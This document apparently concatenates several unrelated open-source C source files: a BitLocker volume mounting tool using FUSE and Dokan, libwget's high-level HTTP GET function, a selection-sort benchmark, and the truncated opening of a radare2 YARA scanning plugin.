LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid path.", function ); result = -ERROR_BAD_ARGUMENTS; goto on_error; } path_length = libcstring_wide_string_length( path ); if( ( path_length != 1 ) || ( path[ 0 ] != (wchar_t) '\\' ) ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_UNSUPPORTED_VALUE, "%s: unsupported path: %ls.", function, path ); result = -ERROR_FILE_NOT_FOUND; goto on_error; } if( bdemount_dokan_filldir( fill_find_data, file_info, L".", 2, &find_data, NULL, 1, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set find data.", function ); result = -ERROR_GEN_FAILURE; goto on_error; } if( bdemount_dokan_filldir( fill_find_data, file_info, L"..", 3, &find_data, NULL, 0, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set find data.", function ); result = -ERROR_GEN_FAILURE; goto on_error; } if( bdemount_dokan_filldir( fill_find_data, file_info, &( bdemount_dokan_path[ 1 ] ), bdemount_dokan_path_length, &find_data, bdemount_mount_handle, 0, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set find data.", function ); result = -ERROR_GEN_FAILURE; goto on_error; } return( 0 ); on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } return( result ); } /* Sets the values in a file information structure * Returns 1 if successful or -1 on error */ int bdemount_dokan_set_file_information( BY_HANDLE_FILE_INFORMATION *file_information, uint64_t creation_time, uint64_t modification_time, uint64_t access_time, size64_t size, int number_of_sub_items, uint8_t use_mount_time, libcerror_error_t **error ) { static char *function = "bdemount_dokan_set_file_information"; if( file_information == NULL ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid file information.", function ); return( -1 ); } if( use_mount_time == 0 ) { if( creation_time != 0 ) { file_information->ftCreationTime.dwLowDateTime = (uint32_t) ( creation_time & 0x00000000ffffffffULL ); file_information->ftCreationTime.dwHighDateTime = creation_time >> 32; } if( modification_time != 0 ) { file_information->ftLastWriteTime.dwLowDateTime = (uint32_t) ( modification_time & 0x00000000ffffffffULL ); file_information->ftLastWriteTime.dwHighDateTime = modification_time >> 32; } if( access_time != 0 ) { file_information->ftLastAccessTime.dwLowDateTime = (uint32_t) ( access_time & 0x00000000ffffffffULL ); file_information->ftLastAccessTime.dwHighDateTime = access_time >> 32; } } /* TODO implement else { } */ if( size > 0 ) { file_information->nFileSizeHigh = (DWORD) ( size >> 32 ); file_information->nFileSizeLow = (DWORD) ( size & 0xffffffffUL ); } file_information->dwFileAttributes = FILE_ATTRIBUTE_READONLY; if( number_of_sub_items > 0 ) { file_information->dwFileAttributes |= FILE_ATTRIBUTE_DIRECTORY; } return( 1 ); } /* Retrieves the file information * Returns 0 if successful or a negative error code otherwise */ int __stdcall bdemount_dokan_GetFileInformation( const wchar_t *path, BY_HANDLE_FILE_INFORMATION *file_information, DOKAN_FILE_INFO *file_info ) { libcerror_error_t *error = NULL; static char *function = "bdemount_dokan_GetFileInformation"; size64_t volume_size = 0; uint64_t creation_time = 0; size_t path_length = 0; int number_of_sub_items = 0; int result = 0; uint8_t use_mount_time = 0; if( path == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid path.", function ); result = -ERROR_BAD_ARGUMENTS; goto on_error; } if( file_info == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid file info.", function ); result = -ERROR_BAD_ARGUMENTS; goto on_error; } path_length = libcstring_wide_string_length( path ); if( path_length == 1 ) { if( path[ 0 ] != (wchar_t) '\\' ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_UNSUPPORTED_VALUE, "%s: unsupported path: %ls.", function, path ); result = -ERROR_FILE_NOT_FOUND; goto on_error; } number_of_sub_items = 1; use_mount_time = 1; } else { if( ( path_length != bdemount_dokan_path_length ) || ( libcstring_wide_string_compare( path, bdemount_dokan_path, bdemount_dokan_path_length ) != 0 ) ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_UNSUPPORTED_VALUE, "%s: unsupported path: %ls.", function, path ); result = -ERROR_FILE_NOT_FOUND; goto on_error; } if( mount_handle_get_creation_time( bdemount_mount_handle, &creation_time, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_GET_FAILED, "%s: unable to retrieve creation time.", function ); result = -ERROR_GEN_FAILURE; goto on_error; } if( mount_handle_get_size( bdemount_mount_handle, &volume_size, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_GET_FAILED, "%s: unable to retrieve volume size.", function ); result = -ERROR_GEN_FAILURE; goto on_error; } } if( bdemount_dokan_set_file_information( file_information, creation_time, creation_time, creation_time, volume_size, number_of_sub_items, use_mount_time, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set file info.", function ); result = -ERROR_GEN_FAILURE; goto on_error; } return( 0 ); on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } return( result ); } /* Retrieves the volume information * Returns 0 if successful or a negative error code otherwise */ int __stdcall bdemount_dokan_GetVolumeInformation( wchar_t *volume_name, DWORD volume_name_size, DWORD *volume_serial_number, DWORD *maximum_filename_length, DWORD *file_system_flags, wchar_t *file_system_name, DWORD file_system_name_size, DOKAN_FILE_INFO *file_info LIBCSYSTEM_ATTRIBUTE_UNUSED ) { libcerror_error_t *error = NULL; static char *function = "bdemount_dokan_GetVolumeInformation"; int result = 0; LIBCSYSTEM_UNREFERENCED_PARAMETER( file_info ) if( ( volume_name != NULL ) && ( volume_name_size > (DWORD) ( sizeof( wchar_t ) * 4 ) ) ) { /* Using wcsncpy seems to cause strange behavior here */ if( memory_copy( volume_name, L"BDE", sizeof( wchar_t ) * 4 ) == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_MEMORY, LIBCERROR_MEMORY_ERROR_COPY_FAILED, "%s: unable to copy volume name.", function ); result = -ERROR_GEN_FAILURE; goto on_error; } } if( volume_serial_number != NULL ) { /* If this value contains 0 it can crash the system is this an issue in Dokan? */ *volume_serial_number = 0x19831116; } if( maximum_filename_length != NULL ) { *maximum_filename_length = 256; } if( file_system_flags != NULL ) { *file_system_flags = FILE_CASE_SENSITIVE_SEARCH | FILE_CASE_PRESERVED_NAMES | FILE_UNICODE_ON_DISK | FILE_READ_ONLY_VOLUME; } if( ( file_system_name != NULL ) && ( file_system_name_size > (DWORD) ( sizeof( wchar_t ) * 6 ) ) ) { /* Using wcsncpy seems to cause strange behavior here */ if( memory_copy( file_system_name, L"Dokan", sizeof( wchar_t ) * 6 ) == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_MEMORY, LIBCERROR_MEMORY_ERROR_COPY_FAILED, "%s: unable to copy file system name.", function ); result = -ERROR_GEN_FAILURE; goto on_error; } } return( 0 ); on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } return( result ); } /* Unmount the image * Returns 0 if successful or a negative error code otherwise */ int __stdcall bdemount_dokan_Unmount( DOKAN_FILE_INFO *file_info LIBCSYSTEM_ATTRIBUTE_UNUSED ) { static char *function = "bdemount_dokan_Unmount"; LIBCSYSTEM_UNREFERENCED_PARAMETER( file_info ) return( 0 ); } #endif /* The main program */ #if defined( LIBCSTRING_HAVE_WIDE_SYSTEM_CHARACTER ) int wmain( int argc, wchar_t * const argv[] ) #else int main( int argc, char * const argv[] ) #endif { libbde_error_t *error = NULL; libcstring_system_character_t *mount_point = NULL; libcstring_system_character_t *option_extended_options = NULL; libcstring_system_character_t *option_keys = NULL; libcstring_system_character_t *option_password = NULL; libcstring_system_character_t *option_recovery_password = NULL; libcstring_system_character_t *option_startup_key_filename = NULL; libcstring_system_character_t *option_volume_offset = NULL; libcstring_system_character_t *source = NULL; char *program = "bdemount"; libcstring_system_integer_t option = 0; int result = 0; int verbose = 0; #if defined( HAVE_LIBFUSE ) || defined( HAVE_LIBOSXFUSE ) struct fuse_operations bdemount_fuse_operations; struct fuse_args bdemount_fuse_arguments = FUSE_ARGS_INIT(0, NULL); struct fuse_chan *bdemount_fuse_channel = NULL; struct fuse *bdemount_fuse_handle = NULL; #elif defined( HAVE_LIBDOKAN ) DOKAN_OPERATIONS bdemount_dokan_operations; DOKAN_OPTIONS bdemount_dokan_options; #endif libcnotify_stream_set( stderr, NULL ); libcnotify_verbose_set( 1 ); if( libclocale_initialize( "bdetools", &error ) != 1 ) { fprintf( stderr, "Unable to initialize locale values.\n" ); goto on_error; } if( libcsystem_initialize( _IONBF, &error ) != 1 ) { fprintf( stderr, "Unable to initialize system values.\n" ); goto on_error; } bdeoutput_version_fprint( stdout, program ); while( ( option = libcsystem_getopt( argc, argv, _LIBCSTRING_SYSTEM_STRING( "hk:o:p:r:s:vVX:" ) ) ) != (libcstring_system_integer_t) -1 ) { switch( option ) { case (libcstring_system_integer_t) '?': default: fprintf( stderr, "Invalid argument: %" PRIs_LIBCSTRING_SYSTEM "\n", argv[ optind - 1 ] ); usage_fprint( stdout ); return( EXIT_FAILURE ); case (libcstring_system_integer_t) 'h': usage_fprint( stdout ); return( EXIT_SUCCESS ); case (libcstring_system_integer_t) 'k': option_keys = optarg; break; case (libcstring_system_integer_t) 'o': option_volume_offset = optarg; break; case (libcstring_system_integer_t) 'p': option_password = optarg; break; case (libcstring_system_integer_t) 'r': option_recovery_password = optarg; break; case (libcstring_system_integer_t) 's': option_startup_key_filename = optarg; break; case (libcstring_system_integer_t) 'v': verbose = 1; break; case (libcstring_system_integer_t) 'V': bdeoutput_copyright_fprint( stdout ); return( EXIT_SUCCESS ); case (libcstring_system_integer_t) 'X': option_extended_options = optarg; break; } } if( optind == argc ) { fprintf( stderr, "Missing source file or device.\n" ); usage_fprint( stdout ); return( EXIT_FAILURE ); } source = argv[ optind++ ]; if( optind == argc ) { fprintf( stderr, "Missing mount point.\n" ); usage_fprint( stdout ); return( EXIT_FAILURE ); } mount_point = argv[ optind ]; libcnotify_verbose_set( verbose ); libbde_notify_set_stream( stderr, NULL ); libbde_notify_set_verbose( verbose ); if( mount_handle_initialize( &bdemount_mount_handle, &error ) != 1 ) { fprintf( stderr, "Unable to initialize mount handle.\n" ); goto on_error; } if( option_keys != NULL ) { if( mount_handle_set_keys( bdemount_mount_handle, option_keys, &error ) != 1 ) { fprintf( stderr, "Unable to set keys.\n" ); goto on_error; } } if( option_password != NULL ) { if( mount_handle_set_password( bdemount_mount_handle, option_password, &error ) != 1 ) { fprintf( stderr, "Unable to set password.\n" ); goto on_error; } } if( option_recovery_password != NULL ) { if( mount_handle_set_recovery_password( bdemount_mount_handle, option_recovery_password, &error ) != 1 ) { fprintf( stderr, "Unable to set recovery password.\n" ); goto on_error; } } if( option_startup_key_filename != NULL ) { if( mount_handle_read_startup_key( bdemount_mount_handle, option_startup_key_filename, &error ) != 1 ) { fprintf( stderr, "Unable to read startup key.\n" ); goto on_error; } } if( option_volume_offset != NULL ) { if( mount_handle_set_volume_offset( bdemount_mount_handle, option_volume_offset, &error ) != 1 ) { fprintf( stderr, "Unable to set volume offset.\n" ); goto on_error; } } result = mount_handle_open_input( bdemount_mount_handle, source, &error ); if( result != 1 ) { fprintf( stderr, "Unable to open: %" PRIs_LIBCSTRING_SYSTEM ".\n", source ); goto on_error; } result = mount_handle_input_is_locked( bdemount_mount_handle, &error ); if( result != 0 ) { fprintf( stderr, "Unable to unlock volume.\n" ); goto on_error; } #if defined( HAVE_LIBFUSE ) || defined( HAVE_LIBOSXFUSE ) if( memory_set( &bdemount_fuse_operations, 0, sizeof( struct fuse_operations ) ) == NULL ) { fprintf( stderr, "Unable to clear fuse operations.\n" ); goto on_error; } if( option_extended_options != NULL ) { /* This argument is required but ignored */ if( fuse_opt_add_arg( &bdemount_fuse_arguments, "" ) != 0 ) { fprintf( stderr, "Unable add fuse arguments.\n" ); goto on_error; } if( fuse_opt_add_arg( &bdemount_fuse_arguments, "-o" ) != 0 ) { fprintf( stderr, "Unable add fuse arguments.\n" ); goto on_error; } if( fuse_opt_add_arg( &bdemount_fuse_arguments, option_extended_options ) != 0 ) { fprintf( stderr, "Unable add fuse arguments.\n" ); goto on_error; } } bdemount_fuse_operations.open = &bdemount_fuse_open; bdemount_fuse_operations.read = &bdemount_fuse_read; bdemount_fuse_operations.readdir = &bdemount_fuse_readdir; bdemount_fuse_operations.getattr = &bdemount_fuse_getattr; bdemount_fuse_operations.destroy = &bdemount_fuse_destroy; bdemount_fuse_channel = fuse_mount( mount_point, &bdemount_fuse_arguments ); if( bdemount_fuse_channel == NULL ) { fprintf( stderr, "Unable to create fuse channel.\n" ); goto on_error; } bdemount_fuse_handle = fuse_new( bdemount_fuse_channel, &bdemount_fuse_arguments, &bdemount_fuse_operations, sizeof( struct fuse_operations ), bdemount_mount_handle ); if( bdemount_fuse_handle == NULL ) { fprintf( stderr, "Unable to create fuse handle.\n" ); goto on_error; } if( verbose == 0 ) { if( fuse_daemonize( 0 ) != 0 ) { fprintf( stderr, "Unable to daemonize fuse.\n" ); goto on_error; } } result = fuse_loop( bdemount_fuse_handle ); if( result != 0 ) { fprintf( stderr, "Unable to run fuse loop.\n" ); goto on_error; } fuse_destroy( bdemount_fuse_handle ); fuse_opt_free_args( &bdemount_fuse_arguments ); return( EXIT_SUCCESS ); #elif defined( HAVE_LIBDOKAN ) if( memory_set( &bdemount_dokan_operations, 0, sizeof( DOKAN_OPERATIONS ) ) == NULL ) { fprintf( stderr, "Unable to clear dokan operations.\n" ); goto on_error; } if( memory_set( &bdemount_dokan_options, 0, sizeof( DOKAN_OPTIONS ) ) == NULL ) { fprintf( stderr, "Unable to clear dokan options.\n" ); goto on_error; } bdemount_dokan_options.Version = 600; bdemount_dokan_options.ThreadCount = 0; bdemount_dokan_options.MountPoint = mount_point; if( verbose != 0 ) { bdemount_dokan_options.Options |= DOKAN_OPTION_STDERR; #if defined( HAVE_DEBUG_OUTPUT ) bdemount_dokan_options.Options |= DOKAN_OPTION_DEBUG; #endif } /* This will only affect the drive properties bdemount_dokan_options.Options |= DOKAN_OPTION_REMOVABLE; */ bdemount_dokan_options.Options |= DOKAN_OPTION_KEEP_ALIVE; bdemount_dokan_operations.CreateFile = &bdemount_dokan_CreateFile; bdemount_dokan_operations.OpenDirectory = &bdemount_dokan_OpenDirectory; bdemount_dokan_operations.CreateDirectory = NULL; bdemount_dokan_operations.Cleanup = NULL; bdemount_dokan_operations.CloseFile = &bdemount_dokan_CloseFile; bdemount_dokan_operations.ReadFile = &bdemount_dokan_ReadFile; bdemount_dokan_operations.WriteFile = NULL; bdemount_dokan_operations.FlushFileBuffers = NULL; bdemount_dokan_operations.GetFileInformation = &bdemount_dokan_GetFileInformation; bdemount_dokan_operations.FindFiles = &bdemount_dokan_FindFiles; bdemount_dokan_operations.FindFilesWithPattern = NULL; bdemount_dokan_operations.SetFileAttributes = NULL; bdemount_dokan_operations.SetFileTime = NULL; bdemount_dokan_operations.DeleteFile = NULL; bdemount_dokan_operations.DeleteDirectory = NULL; bdemount_dokan_operations.MoveFile = NULL; bdemount_dokan_operations.SetEndOfFile = NULL; bdemount_dokan_operations.SetAllocationSize = NULL; bdemount_dokan_operations.LockFile = NULL; bdemount_dokan_operations.UnlockFile = NULL; bdemount_dokan_operations.GetFileSecurity = NULL; bdemount_dokan_operations.SetFileSecurity = NULL; bdemount_dokan_operations.GetDiskFreeSpace = NULL; bdemount_dokan_operations.GetVolumeInformation = &bdemount_dokan_GetVolumeInformation; bdemount_dokan_operations.Unmount = &bdemount_dokan_Unmount; result = DokanMain( &bdemount_dokan_options, &bdemount_dokan_operations ); switch( result ) { case DOKAN_SUCCESS: break; case DOKAN_ERROR: fprintf( stderr, "Unable to run dokan main: generic error\n" ); break; case DOKAN_DRIVE_LETTER_ERROR: fprintf( stderr, "Unable to run dokan main: bad drive letter\n" ); break; case DOKAN_DRIVER_INSTALL_ERROR: fprintf( stderr, "Unable to run dokan main: unable to load driver\n" ); break; case DOKAN_START_ERROR: fprintf( stderr, "Unable to run dokan main: driver error\n" ); break; case DOKAN_MOUNT_ERROR: fprintf( stderr, "Unable to run dokan main: unable to assign drive letter\n" ); break; case DOKAN_MOUNT_POINT_ERROR: fprintf( stderr, "Unable to run dokan main: mount point error\n" ); break; default: fprintf( stderr, "Unable to run dokan main: unknown error: %d\n", result ); break; } return( EXIT_SUCCESS ); #else fprintf( stderr, "No sub system to mount BDE volume.\n" ); return( EXIT_FAILURE ); #endif on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } #if defined( HAVE_LIBFUSE ) || defined( HAVE_LIBOSXFUSE ) if( bdemount_fuse_handle != NULL ) { fuse_destroy( bdemount_fuse_handle ); } fuse_opt_free_args( &bdemount_fuse_arguments ); #endif if( bdemount_mount_handle != NULL ) { mount_handle_free( &bdemount_mount_handle, NULL ); } return( EXIT_FAILURE ); }
windworst/libbde
bdetools/bdemount.c
C
lgpl-3.0
55,128
/* * Copyright(c) 2013 Tim Ruehsen * Copyright(c) 2015-2016 Free Software Foundation, Inc. * * This file is part of libwget. * * Libwget is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Libwget is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with libwget. If not, see <https://www.gnu.org/licenses/>. * * * Highlevel HTTP functions * * Changelog * 21.01.2013 Tim Ruehsen created * */ #if HAVE_CONFIG_H # include <config.h> #endif #include <stdio.h> #include <string.h> #include <errno.h> #include <wget.h> #include "private.h" static int _stream_callback(wget_http_response_t *resp G_GNUC_WGET_UNUSED, void *user_data, const char *data, size_t length) { FILE *stream = (FILE *) user_data; size_t nbytes = fwrite(data, 1, length, stream); if (nbytes != length) { error_printf(_("Failed to write %zu bytes of data (%d)\n"), length, errno); if (feof(stream)) return -1; } return 0; } static int _fd_callback(wget_http_response_t *resp G_GNUC_WGET_UNUSED, void *user_data, const char *data, size_t length) { int fd = *(int *) user_data; ssize_t nbytes = write(fd, data, length); if (nbytes == -1 || (size_t) nbytes != length) error_printf(_("Failed to write %zu bytes of data (%d)\n"), length, errno); return 0; } wget_http_response_t *wget_http_get(int first_key, ...) { wget_vector_t *headers = wget_vector_create(8, 8, NULL); wget_iri_t *uri = NULL; wget_http_connection_t *conn = NULL, **connp = NULL; wget_http_request_t *req; wget_http_response_t *resp = NULL; wget_vector_t *challenges = NULL; wget_cookie_db_t *cookie_db = NULL; FILE *saveas_stream = NULL; wget_http_body_callback_t saveas_callback = NULL; int saveas_fd = -1; wget_http_header_callback_t header_callback = NULL; va_list args; const char *url = NULL, *url_encoding = NULL, *scheme = "GET"; const char *http_username = NULL, *http_password = NULL; const char *saveas_name = NULL; int key, it, max_redirections = 5, redirection_level = 0; size_t bodylen = 0; const void *body = NULL; void *header_user_data = NULL, *body_user_data = NULL; struct { unsigned int cookies_enabled : 1, keep_header : 1, free_uri : 1; } bits = { .cookies_enabled = !!wget_global_get_int(WGET_COOKIES_ENABLED) }; va_start(args, first_key); for (key = first_key; key; key = va_arg(args, int)) { switch (key) { case WGET_HTTP_URL: url = va_arg(args, const char *); break; case WGET_HTTP_URI: uri = va_arg(args, wget_iri_t *); break; case WGET_HTTP_URL_ENCODING: url_encoding = va_arg(args, const char *); break; case WGET_HTTP_HEADER_ADD: { wget_http_header_param_t param = { .name = va_arg(args, const char *), .value = va_arg(args, const char *) }; wget_vector_add(headers, &param, sizeof(param)); break; } case WGET_HTTP_CONNECTION_PTR: connp = va_arg(args, wget_http_connection_t **); if (connp) conn = *connp; break; case WGET_HTTP_RESPONSE_KEEPHEADER: bits.keep_header = va_arg(args, int); break; case WGET_HTTP_MAX_REDIRECTIONS: max_redirections = va_arg(args, int); break; case WGET_HTTP_BODY_SAVEAS: saveas_name = va_arg(args, const char *); break; case WGET_HTTP_BODY_SAVEAS_STREAM: saveas_stream = va_arg(args, FILE *); break; case WGET_HTTP_BODY_SAVEAS_FUNC: saveas_callback = va_arg(args, wget_http_body_callback_t); body_user_data = va_arg(args, void *); break; case WGET_HTTP_BODY_SAVEAS_FD: saveas_fd = va_arg(args, int); break; case WGET_HTTP_HEADER_FUNC: header_callback = va_arg(args, wget_http_header_callback_t); header_user_data = va_arg(args, void *); break; case WGET_HTTP_SCHEME: scheme = va_arg(args, const char *); break; case WGET_HTTP_BODY: body = va_arg(args, const void *); bodylen = va_arg(args, size_t); break; default: error_printf(_("Unknown option %d\n"), key); goto out; } } va_end(args); if (url && !uri) { uri = wget_iri_parse(url, url_encoding); if (!uri) { error_printf (_("Error parsing URL\n")); goto out; } bits.free_uri = 1; } if (!uri) { error_printf(_("Missing URL/URI\n")); goto out; } if (bits.cookies_enabled) cookie_db = (wget_cookie_db_t *)wget_global_get_ptr(WGET_COOKIE_DB); while (uri && redirection_level <= max_redirections) { // create a HTTP/1.1 GET request. // the only default header is 'Host: domain' (taken from uri) req = wget_http_create_request(uri, scheme); // add HTTP headers for (it = 0; it < wget_vector_size(headers); it++) { wget_http_add_header_param(req, wget_vector_get(headers, it)); } if (challenges) { // There might be more than one challenge, we could select the most secure one. // For simplicity and testing we just take the first for now. // the following adds an Authorization: HTTP header wget_http_add_credentials(req, wget_vector_get(challenges, 0), http_username, http_password); wget_http_free_challenges(&challenges); } // use keep-alive if you want to send more requests on the same connection // http_add_header(req, "Connection", "keep-alive"); // enrich the HTTP request with the uri-related cookies we have if (cookie_db) { const char *cookie_string; if ((cookie_string = wget_cookie_create_request_header(cookie_db, uri))) { wget_http_add_header(req, "Cookie", cookie_string); xfree(cookie_string); } } if (connp) { wget_http_add_header(req, "Connection", "keepalive"); } // open/reopen/reuse HTTP/HTTPS connection if (conn && !wget_strcmp(conn->esc_host, uri->host) && conn->scheme == uri->scheme && !wget_strcmp(conn->port, uri->resolv_port)) { debug_printf("reuse connection %s\n", conn->esc_host); } else { if (conn) { debug_printf("close connection %s\n", conn->esc_host); wget_http_close(&conn); } if (wget_http_open(&conn, uri) == WGET_E_SUCCESS) debug_printf("opened connection %s\n", conn->esc_host); } if (conn) { int rc; if (body && bodylen) wget_http_request_set_body(req, NULL, wget_memdup(body, bodylen), bodylen); rc = wget_http_send_request(conn, req); if (rc == 0) { wget_http_request_set_header_cb(req, header_callback, header_user_data); wget_http_request_set_int(req, WGET_HTTP_RESPONSE_KEEPHEADER, 1); if (saveas_name) { FILE *fp; if ((fp = fopen(saveas_name, "w"))) { wget_http_request_set_body_cb(req, _stream_callback, fp); resp = wget_http_get_response(conn); fclose(fp); } else debug_printf("Failed to open '%s' for writing\n", saveas_name); } else if (saveas_stream) { wget_http_request_set_body_cb(req, _stream_callback, saveas_stream); resp = wget_http_get_response(conn); } else if (saveas_callback) { wget_http_request_set_body_cb(req, saveas_callback, body_user_data); resp = wget_http_get_response(conn); } else if (saveas_fd != -1) { wget_http_request_set_body_cb(req, _fd_callback, &saveas_fd); resp = wget_http_get_response(conn); } else resp = wget_http_get_response(conn); } } wget_http_free_request(&req); if (!resp) goto out; // server doesn't support or want keep-alive if (!resp->keep_alive) wget_http_close(&conn); if (cookie_db) { // check and normalization of received cookies wget_cookie_normalize_cookies(uri, resp->cookies); // put cookies into cookie-store (also known as cookie-jar) wget_cookie_store_cookies(cookie_db, resp->cookies); } if (resp->code == 401 && !challenges) { // Unauthorized if ((challenges = resp->challenges)) { resp->challenges = NULL; wget_http_free_response(&resp); if (redirection_level == 0 && max_redirections) { redirection_level = max_redirections; // just try one more time with authentication continue; // try again with credentials } } break; } // 304 Not Modified if (resp->code / 100 == 2 || resp->code / 100 >= 4 || resp->code == 304) break; // final response if (resp->location) { char uri_sbuf[1024]; wget_buffer_t uri_buf; // if relative location, convert to absolute wget_buffer_init(&uri_buf, uri_sbuf, sizeof(uri_sbuf)); wget_iri_relative_to_abs(uri, resp->location, strlen(resp->location), &uri_buf); if (bits.free_uri) wget_iri_free(&uri); uri = wget_iri_parse(uri_buf.data, NULL); bits.free_uri = 1; wget_buffer_deinit(&uri_buf); redirection_level++; continue; } break; } out: if (connp) { *connp = conn; } else { wget_http_close(&conn); } wget_http_free_challenges(&challenges); // wget_vector_clear_nofree(headers); wget_vector_free(&headers); if (bits.free_uri) wget_iri_free(&uri); return resp; }
darnir/wget2
libwget/http_highlevel.c
C
lgpl-3.0
9,190
/* * ===================================================================================== * * Filename: select-sort.c * * Description: * * Version: 1.0 * Created: 12/23/2016 04:47:42 PM * Revision: none * Compiler: gcc * * Author: YOUR NAME (), * Organization: * * ===================================================================================== */ #include <stdio.h> #include <stdlib.h> int icomp = 0; int iswap = 0; int cmp_fun(int a, int b) { icomp++; return a > b; } int swap(int * a, int * b) { *a = *a ^ *b; *b = *a ^ *b; *a = *a ^ *b; iswap ++; return 1; } int select_sort(int *pList, int len) { if(NULL == pList || len < 0) { return -1; } int i = 0; for(i = 0; i < len; i++) { int iTop = pList[i]; int iPos = i; int j = 0; for(j = i + 1; j < len; j++) { if(cmp_fun(iTop, pList[j])) { iTop = pList[j]; iPos = j; } } if(i != iPos) { swap(&pList[i], &pList[iPos]); } } return 0; } int get_list(int *list, int len) { srand(374676); int i = 0; for(i = 0; i < len; i++) { list[i] = rand() % (len * 20); } return 0; } int check_list(int *list, int len) { int i; int iCnt = 0; for(i = 0; i < len - 1; i++) { if(cmp_fun(list[i], list[i + 1])) { iCnt++; } } return iCnt; } void show_list(int *pList, int len) { int i = 0; for(i = 0; i < len; i++) { printf("%d ", pList[i]); } printf("\n"); } int test_sort(int n) { icomp = 0; iswap = 0; int *pList = (int*)malloc(sizeof(int) * n); get_list(pList, n); //show_list(pList, n); select_sort(pList, n); int iThro = n * (n + 1) / 2; printf("n = %d, tcmp = %d, rcmp = %d, dc = %lf\n", n, iThro, icomp, (double)icomp / iThro); printf("n = %d, tswp = %d, rswp = %d, ds = %lf\n", n, n - 1, iswap, (double)iswap / (n - 1)); int iT = check_list(pList, n); if(iT) { printf("sort faild, [%d]\n", iT); } //show_list(pList, n); free(pList); printf("\n"); return 0; } int main() { int i = 0; for(i = 16; i <= 1024 * 16; i *= 2) { test_sort(i); } return 0; }
fengbohello/practice
clang/algorithm/select-sort.c
C
lgpl-3.0
2,362
/* radare - LGPLv3 - Copyright 2014-2015 - pancake, jvoisin, jfrankowski */ #include <dirent.h> #include <r_core.h> #include <r_lib.h> #include <yara.h> #undef R_API #define R_API static #undef R_IPI #define R_IPI static // true if the plugin has been initialized. static int initialized = false; static bool print_strings = 0; static unsigned int flagidx = 0; static bool io_va = true; #if YR_MAJOR_VERSION < 4 static int callback(int message, void* rule, void* data); #else static int callback(YR_SCAN_CONTEXT* context, int message, void* rule, void* data); #endif static int r_cmd_yara_add (const RCore* core, const char* input); static int r_cmd_yara_add_file (const char* rules_path); static int r_cmd_yara_call(void *user, const char *input); static int r_cmd_yara_clear(); static int r_cmd_yara_init(void *user, const char *cmd); static int r_cmd_yara_help(const RCore* core); static int r_cmd_yara_process(const RCore* core, const char* input); static int r_cmd_yara_scan(const RCore* core, const char* option); static int r_cmd_yara_load_default_rules (const RCore* core); static const char* yara_rule_template = "rule RULE_NAME {\n\tstrings:\n\n\tcondition:\n}"; /* Because of how the rules are compiled, we are not allowed to add more * rules to a compiler once it has compiled. That's why we keep a list * of those compiled rules. */ static RList* rules_list; #if YR_MAJOR_VERSION < 4 static int callback (int message, void *msg_data, void *user_data) { RCore *core = (RCore *) user_data; RPrint *print = core->print; unsigned int ruleidx; st64 offset = 0; ut64 n = 0; YR_RULE* rule = msg_data; if (message == CALLBACK_MSG_RULE_MATCHING) { YR_STRING* string; r_cons_printf("%s\n", rule->identifier); ruleidx = 0; yr_rule_strings_foreach(rule, string) { YR_MATCH* match; yr_string_matches_foreach(string, match) { n = match->base + match->offset; // Find virtual address if needed if (io_va) { RIOMap *map = r_io_map_get_paddr (core->io, n); if (map) { offset = r_io_map_begin (map) - map->delta; } } const char *flag = sdb_fmt ("%s%d_%s_%d", "yara", flagidx, rule->identifier, ruleidx); if (print_strings) { r_cons_printf("0x%08" PFMT64x ": %s : ", n + offset, flag); r_print_bytes(print, match->data, match->data_length, "%02x"); } r_flag_set (core->flags, flag, n + offset, match->data_length); ruleidx++; } } flagidx++; } return CALLBACK_CONTINUE; } static void compiler_callback(int error_level, const char* file_name, int line_number, const char* message, void* user_data) { eprintf ("file: %s line_number: %d.\n%s", file_name, line_number, message); return; } #else static int callback (YR_SCAN_CONTEXT* context, int message, void *msg_data, void *user_data) { RCore *core = (RCore *) user_data; RPrint *print = core->print; unsigned int 